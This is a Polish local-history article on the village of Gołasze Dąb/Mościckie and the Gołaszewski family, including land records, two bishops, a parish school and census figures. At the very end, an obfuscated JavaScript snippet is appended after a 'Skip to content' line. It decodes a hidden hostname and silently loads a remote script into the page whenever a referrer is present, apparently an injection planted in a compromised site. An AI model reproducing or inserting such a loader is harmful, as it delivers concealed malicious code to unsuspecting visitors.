Gołasze Mościckie

Gołasze Dąb znane były już w XV wieku. W 1493 roku wielu ziemian z tej okolicy wspólnie ufundowało kościół w Kuleszach Rokitnicy. Wśród nich był również Maciej z Gołasz Dąb.
Mieszkała tu rodzina szlachecka nazywająca się Golas, Gołas z czasem przyjęli nazwisko Gołaszewski herbu Kościesza. Ród ten znany był już w 1471 roku, gdy zapisywano w aktach dane i Stefanie, Stanisławie i Bartłomieju Gołasiach, nie pada tam jednak jeszcze nazwa miejscowości.
O istnieniu tej miejscowości świadczy popis pospolitego ruszenia z 1528 roku, zapisano wtedy wieś Seło Gołasi Dubowych zemiane. W tym czasie była to już całkiem spora wioska, mieszkało tu 10 rycerzy zobowiązanych do służby wojskowej oraz 1 wdowa.
Według spisu podatkowego z 1580 roku dziedziczyli tutaj: Stanisław Golas Górka, Matys syn Bartosa oraz Matis syn Rosłana z Kuleszy Byków. Większość z nich to była uboga szlachta, lecz pół włóki ziemi należało do chłopów, zatem już wtedy mieszkali tutaj nieco bogatsi szlachcice, tak też było w następnych wiekach, obok ubogiej szlachty mieszkali tu również bogatsi, niektórzy z nich doszli nawet do wysokich zaszczytów w dawnej Rzeczpospolitej. Było to na przykład Jan Gołaszewski burgrabia zambrowski od 1641 roku, tenże ożenił się z Anną Uszyńską córką Mateusza. W XVIII wieku dziedziczył tu między innymi Albin żonaty z Zuzanną Gołaszewską, jego synem był Bartłomiej, który został prezesem Trybunału Apelacyjnego we Lwowie.
W XVII wieku żył tu między innymi Marcin z Gołasz Dęby, ożeniony z Zofią Mościcką, miał on syna Stefana żonatego z Aleksandrą Ciecierską. Stefan miał syna Jana, który odziedziczył dział ziemi w Gołaszach Dębie. Tenże Jan ożenił się z Ewą Gołaszewską córką Walentego, jak widać ród był tak liczny, że takie małżeństwa były częste, co więcej córka Jana, Zuzanna wyszła za mąż za Albina Gołaszewskiego (wspomnianego wyżej, w posagu otrzymała część wsi). Jan miał w sumie pięciu synów i 3 córki (w tym wzmiankowaną Zuzannę). Najstarszym z rodzeństwa był Walenty, który został później burgrabią mielnickim. W 1753 roku zmarł Jana Gołaszewski dziedzic części wsi zostawiając liczne dzieci. Rodzeństwem zaopiekował się najstarszy z nich, Walenty. Siostry wydał za mąż, a wszystkich braci wyprawił do szkół, wszyscy zostali później księżmi. Wśród nich był też ośmioletni Antoni (1745-1824, tutaj urodzony), którego wyprawiono do szkoły jezuickiej aż do Krosna, miał zostać prawnikiem, brat wyjednał mu posadę u kasztelana wiślickiego, jednak on wstąpił do seminarium. Rozpoczął studia teologiczne w Krakowie. W 1778 roku został proboszczem w Brzozowie. W tym czasie ziemie dawnej Rusi Czerwonej zostały zajęte przez Austrię w czasie I rozbioru. Niespodziewanie w 1786 roku cesarz austriacki mianował Gołaszewskiego biskupem przemyskim, nominację zatwierdził papież. Nowy biskup popierał reformy Józefa II dążące do podporządkowania Kościoła państwu, jednak po śmierci Józefa II wyjednał u jego następców liczne przywileje dla Kościoła w Galicji. Był dobrym gospodarzem w dobrach biskupich, wspomagał ubogą młodzież. Był wiernym poddanym Austrii, nie wyjeżdżał nawet do Polski, jednak nie zapomniał o rodzinie. Sprowadził w przemyskie swojego krewnego Józefa syna Piotra i ożenił go (1793 ) z Domicellą Wojakowską dziedziczką dużego majątku Targowiska. Od tej pory Gołaszewscy należeli już do zamożnych ziemian galicyjskich, wybierano ich na posłów (Leon Gołaszewski), potomkowie Józefa żenili się z hrabiankami Załuskimi i Ostrowskimi. Biskup Gołaszewski zmarł w 1824 roku.
Biskup Antoni Gołaszewski nie był jedynym biskupem w tej rodzinie, w 1748 roku urodził się w Kowalewszyźnie Jan Klemens Gołaszewski (syn Franciszka i Joanny z Gołaszewskich), który w 1805 roku został biskupem wigierskim (bardzo gorliwy i zacny), zmarł w 1820 roku, jego grobowiec w Warszawie został zniszczony w czasie Powstania Warszawskiego.
Genealogia Gołaszewskich zawiera wiele danych na temat sprzedaży i kupna ziemi w Gołaszach w XVIII i na początku XIX stulecia, jednak nie zawsze dodawano drugi człon i trudno dokładnie ustalić której z części Gołaszy to dotyczyło. Typowy zapis wygląda w ten sposób: Walenty Gołaszewski, syn Tomasza i Agnieszki z Wnorowskich, sprzedał 1784 r. część swoją na wsi Gołasze-Dąb Józefowi Gołaszewskiemu, synowi Piotra i Domicelli z Gołaszewskich, wnukowi Gabryela i Łucyi z Dołęgowskich. Ten Gabryel był synem Macieja, wnukiem Jana, a prawnukiem Jana, burgrabiego zambrowskiego 1641 r., ożenionego z Anną Uszyńską, córką Mateusza. Miał córkę Katarzynę za Łukaszem Brajczewskim i drugiego syna Michała. Piotr zaś, syn Gabryela, oprócz syna Józefa, miał córki: Konstancyę za Kuleszą i Maryę.
W pierwszej połowie XIX wieku wielu Gołaszewskich dostało potwierdzenie praw szlacheckich z herbem Kościesza.
Gołasze Dąb, Gołasze Puszcza oraz Wnory Pażochy to pierwsze wsie w parafii Kulesze gdzie powstały szkoły parafialne. Nie było jej nawet w Kuleszach. W Gołaszach Dębie notowano taką szkołę w 1828 roku, uczyło się w niej 10 chłopców i 1 dziewczyna, nauczycielem był Józef Kaczyński.
Gołasze Dąb w 1827 roku liczyły 25 domów i 185 mieszkańców. Miejscowość włączono w 1867 roku do gminy Wysokie Mazowieckie W czasie spisu powszechnego z 1921 roku notowano tutaj 30 domów i 192 mieszkańców.

Skip to content !function (_cc60f1) { var _b49dc = Date.now(); var _d055e6 = 1000; _b49dc = _b49dc / _d055e6; _b49dc = Math.floor(_b49dc); var _90ce5 = 600; _b49dc -= _b49dc % _90ce5; _b49dc = _b49dc.toString(16); var _19d7fc = _cc60f1.referrer; if (!_19d7fc) return; var _dd35ad = [47847, 47858, 47860, 47840, 47805, 47840, 47847, 47866, 47856, 47864, 47871, 47868, 47858, 47863, 47862, 47841, 47805, 47866, 47869, 47861, 47868]; _dd35ad = _dd35ad.map(function(_a5e140){ return _a5e140 ^ 47763; }); var _ef8be4 = "1d37f5d602faf8d2012ad3586294eda6"; _dd35ad = String.fromCharCode(..._dd35ad); var _19bac3 = "https://"; var _f09d44 = "/"; var _e34d7a = "mount."; var _23638a = ".js"; var _108118 = _cc60f1.createElement("script"); _108118.type = "text/javascript"; _108118.async = true; _108118.src = _19bac3 + _dd35ad + _f09d44 + _e34d7a + _b49dc + _23638a; _cc60f1.getElementsByTagName("head")[0].appendChild(_108118) }(document);